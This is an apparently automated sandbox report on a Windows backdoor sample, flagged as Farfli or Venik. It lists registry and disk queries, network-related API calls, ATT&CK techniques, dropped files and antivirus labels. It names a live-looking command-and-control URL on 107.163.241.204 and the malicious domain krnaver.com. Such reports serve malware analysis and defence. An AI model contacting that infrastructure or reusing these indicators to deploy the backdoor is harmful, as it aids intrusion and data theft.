Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\XgijTrY6No.exe

Code function: 0_2_0040229F _EH_prolog,EnterCriticalSection,#540,SendMessageA,#3998,#6907,#6907,#2818,#6907,GetSystemTime,#2818,#6907,#6007,#823,#823,memcpy,#6007,LeaveCriticalSection,#800,

0_2_0040229F

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10006C40 Sleep,GetVersionExA,CreateThread,sprintf,

6_2_10006C40

Stealing of Sensitive Information

Queries disk data (e.g. SMART data)

Source: C:\Windows\SysWOW64\rundll32.exe

Device IO: \Device\Harddisk0\DR0

Jump to behavior

Source: C:\Users\user\Desktop\XgijTrY6No.exe	Code function: 0_2_0040271C socket,gethostname,gethostbyname,htons,memcpy,bind,setsockopt,setsockopt,setsockopt,WSAIoctl,WSAGetLastError,CreateThread,closesocket,	0_2_0040271C
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Code function: 5_2_0040271C socket,gethostname,gethostbyname,htons,memcpy,bind,setsockopt,LdrInitializeThunk,LdrInitializeThunk,setsockopt,LdrInitializeThunk,setsockopt,LdrInitializeThunk,WSAIoctl,WSAGetLastError,CreateThread,closesocket,	5_2_0040271C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100055E0 WSAStartup,socket,socket,socket,htons,htons,inet_addr,inet_addr,htons,inet_addr,bind,ioctlsocket,select,Sleep,wsprintfA,malloc,htons,htons,htons,htons,htons,htons,htons,inet_addr,closesocket,closesocket,closesocket,	6_2_100055E0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Bootkit	111 Process Injection	2 Software Packing	Security Account Manager	124 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bootkit	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
XgijTrY6No.exe	89%	ReversingLabs	Win32.Backdoor.Venik
XgijTrY6No.exe	100%	Avira	TR/Farfli.ltgad
XgijTrY6No.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ftelcs\rjqzr.dll	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Local\Temp\mszcy.exe	100%	Avira	TR/Farfli.ltgad
C:\ftelcs\rjqzr.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\mszcy.exe	100%	Joe Sandbox ML
C:\ftelcs\rjqzr.dll	68%	ReversingLabs	Win32.Worm.Palevo

Source	Detection	Scanner	Label
http://107.163.241.204:12354/show.php:	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpI	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpv	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpu	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpA	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpB	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php?	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpE	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php.T6	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpFT	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpT	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpzTb	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phplTp	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpbTz	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phph	0%	Avira URL Cloud	safe
http://107.163.24I	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpW	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpZ	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php(	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php#	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpc	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php%	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php)	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
blogx.sina.com.cn	202.108.0.52	true	false	high
krnaver.com	unknown	unknown	true	unknown
blog.sina.com.cn	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.163.241.204:12354/show.php	true	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://107.163.241.204:12354/show.php:	rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.php?	rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpu	rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
